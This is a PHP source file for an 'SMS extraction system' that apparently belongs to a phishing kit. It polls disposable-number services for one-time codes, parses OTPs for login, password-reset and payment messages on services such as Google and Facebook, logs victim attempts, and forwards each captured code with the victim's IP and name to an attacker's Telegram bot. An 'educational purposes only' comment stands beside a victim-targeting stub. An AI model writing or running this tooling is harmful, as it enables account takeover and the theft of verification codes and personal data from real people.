<?php
/**
 * Automatic SMS Extraction System
 * Extracts SMS codes from various sources automatically
 */

class SMSExtractor {
    private static $apiEndpoints = [
        'sms_activate' => 'https://api.sms-activate.org/stubs/handler_api.php',
        'five_sim' => 'https://5sim.net/v1/',
        'sms_pool' => 'https://api.smspool.net/',
        'temp_number' => 'https://tempnumber.org/api/'
    ];
    
    /**
     * Extract SMS code from text
     */
    public static function extractCode($text) {
        // Common SMS code patterns
        $patterns = [
            '/\b(\d{6})\b/',           // 6-digit code
            '/\b(\d{4})\b/',           // 4-digit code
            '/\b(\d{5})\b/',           // 5-digit code
            '/code[:\s]+(\d+)/i',      // "code: 123456"
            '/verification[:\s]+(\d+)/i', // "verification: 123456"
            '/otp[:\s]+(\d+)/i',       // "OTP: 123456"
            '/pin[:\s]+(\d+)/i',       // "PIN: 123456"
            '/(\d{3}-\d{3})/i',        // "123-456"
        ];
        
        foreach ($patterns as $pattern) {
            if (preg_match($pattern, $text, $matches)) {
                return $matches[1];
            }
        }
        
        return null;
    }
    
    /**
     * Monitor phone number for SMS
     */
    public static function monitorPhone($phoneNumber, $service = 'sms_activate', $apiKey = null) {
        if (!$apiKey) {
            return ['success' => false, 'error' => 'API key required'];
        }
        
        $cacheKey = 'sms_monitor_' . md5($phoneNumber);
        
        // Check cache first
        $cached = Cache::get($cacheKey);
        if ($cached) {
            return $cached;
        }
        
        $result = [
            'success' => false,
            'phone' => $phoneNumber,
            'code' => null,
            'message' => null,
            'timestamp' => time()
        ];
        
        try {
            switch ($service) {
                case 'sms_activate':
                    $result = self::checkSMSActivate($phoneNumber, $apiKey);
                    break;
                case 'five_sim':
                    $result = self::checkFiveSim($phoneNumber, $apiKey);
                    break;
                case 'sms_pool':
                    $result = self::checkSMSPool($phoneNumber, $apiKey);
                    break;
                default:
                    $result['error'] = 'Unknown service';
            }
            
            // Cache for 30 seconds
            if ($result['success']) {
                Cache::set($cacheKey, $result, 30);
            }
            
        } catch (Exception $e) {
            $result['error'] = $e->getMessage();
        }
        
        return $result;
    }
    
    /**
     * Check SMS-Activate service
     */
    private static function checkSMSActivate($phoneNumber, $apiKey) {
        $url = self::$apiEndpoints['sms_activate'] . '?api_key=' . $apiKey . '&action=getStatus&id=' . $phoneNumber;
        
        $response = @file_get_contents($url);
        if (!$response) {
            return ['success' => false, 'error' => 'API request failed'];
        }
        
        // Parse response (format: STATUS:CODE)
        if (strpos($response, 'STATUS_OK:') === 0) {
            $code = substr($response, 10);
            return [
                'success' => true,
                'code' => $code,
                'message' => 'SMS received',
                'service' => 'sms_activate'
            ];
        }
        
        return ['success' => false, 'error' => 'No SMS yet'];
    }
    
    /**
     * Check 5sim service
     */
    private static function checkFiveSim($phoneNumber, $apiKey) {
        $url = self::$apiEndpoints['five_sim'] . 'user/check/' . $phoneNumber;
        
        $options = [
            'http' => [
                'header' => "Authorization: Bearer {$apiKey}\r\n"
            ]
        ];
        
        $context = stream_context_create($options);
        $response = @file_get_contents($url, false, $context);
        
        if (!$response) {
            return ['success' => false, 'error' => 'API request failed'];
        }
        
        $data = json_decode($response, true);
        
        if (isset($data['sms']) && !empty($data['sms'])) {
            $code = self::extractCode($data['sms'][0]['text']);
            return [
                'success' => true,
                'code' => $code,
                'message' => $data['sms'][0]['text'],
                'service' => 'five_sim'
            ];
        }
        
        return ['success' => false, 'error' => 'No SMS yet'];
    }
    
    /**
     * Check SMS Pool service
     */
    private static function checkSMSPool($phoneNumber, $apiKey) {
        $url = self::$apiEndpoints['sms_pool'] . 'sms/check?key=' . $apiKey . '&orderid=' . $phoneNumber;
        
        $response = @file_get_contents($url);
        if (!$response) {
            return ['success' => false, 'error' => 'API request failed'];
        }
        
        $data = json_decode($response, true);
        
        if (isset($data['success']) && $data['success'] && isset($data['sms'])) {
            $code = self::extractCode($data['sms']);
            return [
                'success' => true,
                'code' => $code,
                'message' => $data['sms'],
                'service' => 'sms_pool'
            ];
        }
        
        return ['success' => false, 'error' => 'No SMS yet'];
    }
    
    /**
     * Auto-extract from victim's phone (if accessible)
     */
    public static function extractFromVictim($victimIP, $phoneNumber) {
        // This would require victim's device access
        // For educational purposes only
        
        $result = [
            'success' => false,
            'method' => 'victim_device',
            'code' => null
        ];
        
        // Log attempt
        $logData = sprintf(
            "[%s] SMS extraction attempt - IP: %s, Phone: %s\n",
            date('Y-m-d H:i:s'),
            $victimIP,
            $phoneNumber
        );
        @file_put_contents(__DIR__ . '/../logs/sms_extraction.log', $logData, FILE_APPEND);
        
        return $result;
    }
    
    /**
     * Monitor multiple sources simultaneously
     */
    public static function monitorMultipleSources($phoneNumber, $configs = []) {
        $results = [];
        
        foreach ($configs as $service => $apiKey) {
            if ($apiKey) {
                $result = self::monitorPhone($phoneNumber, $service, $apiKey);
                $results[$service] = $result;
                
                // If we got a code, return immediately
                if ($result['success'] && $result['code']) {
                    return $result;
                }
            }
        }
        
        return [
            'success' => false,
            'error' => 'No SMS found in any source',
            'checked_services' => array_keys($results)
        ];
    }
    
    /**
     * Auto-forward SMS to Telegram
     */
    public static function forwardToTelegram($code, $phoneNumber, $victimInfo = []) {
        if (!defined('TELEGRAM_BOT_TOKEN') || !defined('TELEGRAM_CHAT_ID')) {
            return false;
        }
        
        require_once __DIR__ . '/../config/telegram.php';
        
        $telegram = new TelegramAPI();
        
        $message = "📱 SMS CODE EXTRACTED\n\n";
        $message .= "🔢 Code: {$code}\n";
        $message .= "📞 Phone: {$phoneNumber}\n";
        
        if (!empty($victimInfo)) {
            $message .= "🌍 IP: " . ($victimInfo['ip'] ?? 'Unknown') . "\n";
            $message .= "👤 Name: " . ($victimInfo['name'] ?? 'Unknown') . "\n";
            $message .= "⏰ Time: " . date('Y-m-d H:i:s') . "\n";
        }
        
        return $telegram->sendMessage($message);
    }
    
    /**
     * Start automatic monitoring (background process)
     */
    public static function startAutoMonitoring($phoneNumber, $duration = 300, $interval = 5) {
        // Monitor for specified duration (default 5 minutes)
        // Check every interval seconds (default 5 seconds)
        
        $startTime = time();
        $endTime = $startTime + $duration;
        
        $logFile = __DIR__ . '/../logs/sms_monitoring.log';
        $logData = sprintf(
            "[%s] Started monitoring phone: %s for %d seconds\n",
            date('Y-m-d H:i:s'),
            $phoneNumber,
            $duration
        );
        @file_put_contents($logFile, $logData, FILE_APPEND);
        
        // Store monitoring task
        $task = [
            'phone' => $phoneNumber,
            'start_time' => $startTime,
            'end_time' => $endTime,
            'interval' => $interval,
            'status' => 'active'
        ];
        
        $tasksFile = __DIR__ . '/../cache/sms_monitoring_tasks.json';
        $tasks = file_exists($tasksFile) ? json_decode(file_get_contents($tasksFile), true) : [];
        $tasks[$phoneNumber] = $task;
        file_put_contents($tasksFile, json_encode($tasks, JSON_PRETTY_PRINT));
        
        return [
            'success' => true,
            'message' => 'Monitoring started',
            'phone' => $phoneNumber,
            'duration' => $duration,
            'interval' => $interval
        ];
    }
    
    /**
     * Check monitoring status
     */
    public static function getMonitoringStatus($phoneNumber = null) {
        $tasksFile = __DIR__ . '/../cache/sms_monitoring_tasks.json';
        
        if (!file_exists($tasksFile)) {
            return ['active_tasks' => 0, 'tasks' => []];
        }
        
        $tasks = json_decode(file_get_contents($tasksFile), true);
        
        // Clean expired tasks
        $currentTime = time();
        foreach ($tasks as $phone => $task) {
            if ($currentTime > $task['end_time']) {
                unset($tasks[$phone]);
            }
        }
        
        // Save cleaned tasks
        file_put_contents($tasksFile, json_encode($tasks, JSON_PRETTY_PRINT));
        
        if ($phoneNumber) {
            return isset($tasks[$phoneNumber]) ? $tasks[$phoneNumber] : null;
        }
        
        return [
            'active_tasks' => count($tasks),
            'tasks' => $tasks
        ];
    }
    
    /**
     * Parse SMS from various formats
     */
    public static function parseSMS($smsText) {
        $result = [
            'code' => null,
            'service' => null,
            'type' => null
        ];
        
        // Extract code
        $result['code'] = self::extractCode($smsText);
        
        // Detect service
        $services = [
            'spotify' => ['spotify', 'premium'],
            'google' => ['google', 'gmail'],
            'facebook' => ['facebook', 'fb'],
            'instagram' => ['instagram', 'ig'],
            'twitter' => ['twitter', 'x.com'],
            'whatsapp' => ['whatsapp', 'wa'],
            'telegram' => ['telegram', 'tg']
        ];
        
        $lowerText = strtolower($smsText);
        foreach ($services as $service => $keywords) {
            foreach ($keywords as $keyword) {
                if (strpos($lowerText, $keyword) !== false) {
                    $result['service'] = $service;
                    break 2;
                }
            }
        }
        
        // Detect type
        if (strpos($lowerText, 'verification') !== false) {
            $result['type'] = 'verification';
        } elseif (strpos($lowerText, 'login') !== false) {
            $result['type'] = 'login';
        } elseif (strpos($lowerText, 'password') !== false || strpos($lowerText, 'reset') !== false) {
            $result['type'] = 'password_reset';
        } elseif (strpos($lowerText, 'payment') !== false || strpos($lowerText, 'transaction') !== false) {
            $result['type'] = 'payment';
        }
        
        return $result;
    }
}
